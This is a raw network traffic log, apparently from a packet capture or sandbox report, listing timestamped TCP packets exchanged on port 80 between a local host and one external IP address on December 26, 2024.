Dec 26, 2024 12:52:13.444613934 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.444729090 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.444916010 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.445473909 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.445585966 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.445699930 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.446330070 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.446440935 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.446634054 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.447174072 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.447277069 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.447372913 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.448081017 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.448118925 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.448323965 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.448900938 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.449007988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.449101925 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.449738026 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.449819088 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.449971914 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.450592995 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.450716019 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.450759888 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.451442957 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.451543093 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.451589108 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.452297926 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.452451944 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.452547073 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.453155994 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.453263044 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.453299999 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.454011917 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.454103947 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.454147100 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.454893112 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.454971075 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.455032110 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.455816031 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.455946922 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.455984116 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.456571102 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.456732035 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.456823111 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.457436085 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.457557917 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.457595110 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.458307028 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.458389044 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.458437920 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.459117889 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.459250927 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.459373951 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.459985018 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.460118055 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.460160017 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.460844040 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.460952044 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.460995913 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.461682081 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.461781025 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.461855888 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.462589025 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.462678909 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.462728977 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.463407993 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.463491917 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.463620901 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.464261055 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.464410067 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.464467049 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.465109110 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.465234995 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.465270996 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.465945005 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.466032982 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.466072083 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.466831923 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.466907024 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.466944933 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.467665911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.467762947 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.467829943 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.468483925 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.468673944 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.468710899 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.469403982 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.469474077 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.469511032 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.470215082 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.470345974 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.470387936 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.471126080 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.471257925 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.471297979 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.471987009 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.472093105 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.472131968 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.472749949 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.472898006 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.472935915 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.473660946 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.473798990 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.473834991 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.474582911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.474675894 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.474728107 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.475362062 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.621649981 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.641149998 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.641254902 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.641334057 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.641652107 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.641670942 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.641709089 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.642514944 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.642554998 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.642596006 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.643282890 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.643381119 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.643423080 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.644090891 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.644197941 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.644232988 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.644939899 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.645054102 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.645093918 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.645935059 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.645987988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.646075964 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.646667957 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.646791935 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.646851063 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.647558928 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.647658110 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.647695065 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.648497105 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.648627996 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.648737907 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.649410009 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.649486065 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.649559021 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.650135994 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.650211096 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.650245905 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.650912046 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.651061058 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.651762962 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.651815891 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.651869059 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.652625084 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.652667999 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.652717113 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.652755022 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.653482914 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.653590918 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.653656960 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.654320955 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.654469967 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.654515982 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.655199051 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.655319929 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.655360937 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.656141996 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.656249046 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.656887054 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.656930923 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.656961918 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.657751083 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.657820940 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.657876968 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.657913923 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.658601999 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.658713102 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.658756018 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.659468889 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.659568071 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.659615993 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.660289049 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.660443068 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.660490036 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.661168098 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.661262035 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.661313057 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.661989927 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.662094116 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.662137032 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.662842035 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.662950993 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.663781881 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.663829088 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.664053917 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.664555073 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.664608955 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.664635897 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.664671898 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.665412903 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.665580988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.665630102 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.666282892 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.666424990 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.666469097 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.667149067 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.667285919 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.667334080 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.667994976 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.668174028 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.668215036 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.668853998 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.668951988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.669691086 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.669732094 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.669899940 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.670555115 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.670602083 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.670665979 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.670723915 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.671374083 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.671495914 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.671551943 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.672235966 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.672374964 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.672425985 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.673089981 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.673190117 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.673933983 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.673976898 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.674041986 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.674817085 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.674868107 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.674947023 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.675035000 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.675702095 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.675789118 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.675827026 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.676541090 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.676666975 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.676726103 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.677376986 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.677454948 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.678209066 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.678250074 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.678309917 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.678967953 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.679058075 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.679189920 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.679244041 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.680177927 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.680320978 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.680367947 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.681411982 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.681509018 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.682003021 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.682035923 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.682043076 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.682069063 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.682481050 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.682640076 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.682688951 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.683309078 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.683418036 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.683465958 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.684252024 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.684382915 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.685020924 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.685069084 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.685184956 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.685834885 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.685882092 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.852014065 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.852050066 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.852097988 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.852269888 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.852334976 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.852387905 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.852953911 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.853086948 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.853234053 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.853913069 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.853971004 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.854571104 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.854641914 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.854703903 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.854773045 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.855541945 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.855658054 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.855705023 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.856360912 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.856450081 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.856527090 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.857230902 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.857316017 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.857414007 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.858052015 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.858223915 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.858262062 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.858908892 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.859006882 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.859168053 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.859807968 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.859894991 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.859941959 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.860625982 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.860734940 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.860783100 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.861458063 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.861578941 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.861613035 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.862327099 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.862390041 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.862503052 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.863182068 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.863291979 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.863348007 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.864069939 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.864142895 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.864187956 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.864907980 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.865546942 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.865724087 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.865772009 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.865825891 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.866291046 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.866596937 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.866687059 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.866838932 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.867455006 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.867554903 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.867602110 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.868289948 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.868418932 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.868467093 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.869138002 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.869265079 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.870058060 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.870101929 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:13.870132923 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.870886087 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:13.870889902 CET	49842	80	192.168.2.6	185.215.113.16
